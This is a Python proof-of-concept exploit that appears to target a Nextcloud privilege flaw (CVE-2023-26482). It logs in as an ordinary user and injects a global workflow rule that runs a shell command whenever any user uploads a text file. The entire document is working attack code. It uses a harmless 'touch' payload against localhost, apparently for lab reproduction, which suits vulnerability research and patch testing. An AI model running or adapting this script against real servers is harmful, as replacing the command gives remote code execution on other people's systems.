import requests import sys import json # Configuration URL = "http://localhost:8080" USERNAME = "attacker" PASSWORD = "AttackerPassword123!" CMD = "touch /tmp/pwned" def print_banner(): print("-" * 50) print(" Nextcloud CVE-2023-26482 Exploit PoC") print(" Target: " + URL) print(" User: " + USERNAME) print("-" * 50) def main(): print_banner() s = requests.Session() # 1. Login print("[*] Step 1: Attempting to log in...") try: login_page = s.get(f"{URL}/login") requesttoken = login_page.text.split('data-requesttoken="')[1].split('"')[0] except Exception as e: print(f"[-] Error fetching login page: {e}") sys.exit(1) login_data = { "user": USERNAME, "password": PASSWORD, "requesttoken": requesttoken, "timezone": "Europe/Paris", "timezone_offset": "1" } r = s.post(f"{URL}/login", data=login_data) if "Log out" not in r.text and "logout" not in r.text: print("[-] Login failed. Check credentials.") sys.exit(1) print(f"[+] Login successful as '{USERNAME}'.") # 2. Extract Token try: requesttoken = r.text.split('data-requesttoken="')[1].split('"')[0] except IndexError: r = s.get(f"{URL}/apps/dashboard/") requesttoken = r.text.split('data-requesttoken="')[1].split('"')[0] # 3. Create Malicious Workflow print("[*] Step 2: Injecting malicious workflow rule...") headers = { "Requesttoken": requesttoken, "OCS-APIRequest": "true", "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # Payload matches the create() method signature from # apps/workflowengine/lib/Controller/AWorkflowController.php: # create(string $class, string $name, array $checks, string $operation, string $entity, array $events) # # - class: The Operation class (OCA\WorkflowScript\Operation) # - name: Human-readable rule name # - checks: Array of conditions (check class, operator, value) # - operation: The actual command/script to execute # - entity: The Entity class that provides the trigger context # - events: Array of event identifiers to listen for payload = { "class": "OCA\\WorkflowScript\\Operation", "name": "PoC RCE Rule", "checks": [ { "class": "OCA\\WorkflowEngine\\Check\\FileMimeType", "operator": "is", "value": "text/plain" } ], "operation": CMD, "entity": "OCA\\WorkflowEngine\\Entity\\File", "events": ["\\OCP\\Files::postCreate"] } # CVE-2023-26482: Try the GLOBAL endpoint first. # The vulnerability is that a non-admin user can create admin-scoped (global) workflows # because the GlobalWorkflowsController lacks proper scope validation. api_url_global = f"{URL}/ocs/v2.php/apps/workflowengine/api/v1/workflows/global?format=json" api_url_user = f"{URL}/ocs/v2.php/apps/workflowengine/api/v1/workflows/user?format=json" print(f" [*] Attempting global scope injection (CVE-2023-26482)...") r = s.post(api_url_global, json=payload, headers=headers) if r.status_code in [200, 201]: scope_label = "GLOBAL (admin)" else: print(f" [!] Global endpoint returned HTTP {r.status_code}, falling back to user scope...") r = s.post(api_url_user, json=payload, headers=headers) scope_label = "USER" if r.status_code in [200, 201]: print(f"[+] Success! Malicious workflow created (scope: {scope_label}).") try: response_json = r.json() ocs_data = response_json.get("ocs", {}).get("data", {}) print(f" - Rule ID: {ocs_data.get('id', 'Unknown')}") print(f" - Class: {ocs_data.get('class', 'Unknown')}") print(f" - Entity: {ocs_data.get('entity', 'Unknown')}") except: print(f" - Raw Response: {r.text[:300]}") print(f" - Command: {CMD}") print("-" * 50) print("[*] Exploit Complete. To trigger the RCE:") print(" 1. Log in to Nextcloud as ANY user.") print(" 2. Upload a .txt file (MIME: text/plain).") print(f" 3. Verify: docker-compose exec app ls -la /tmp/pwned") print("-" * 50) else: print(f"[-] Exploitation failed. HTTP {r.status_code}") print(f"[-] Response: {r.text}") if __name__ == "__main__": main()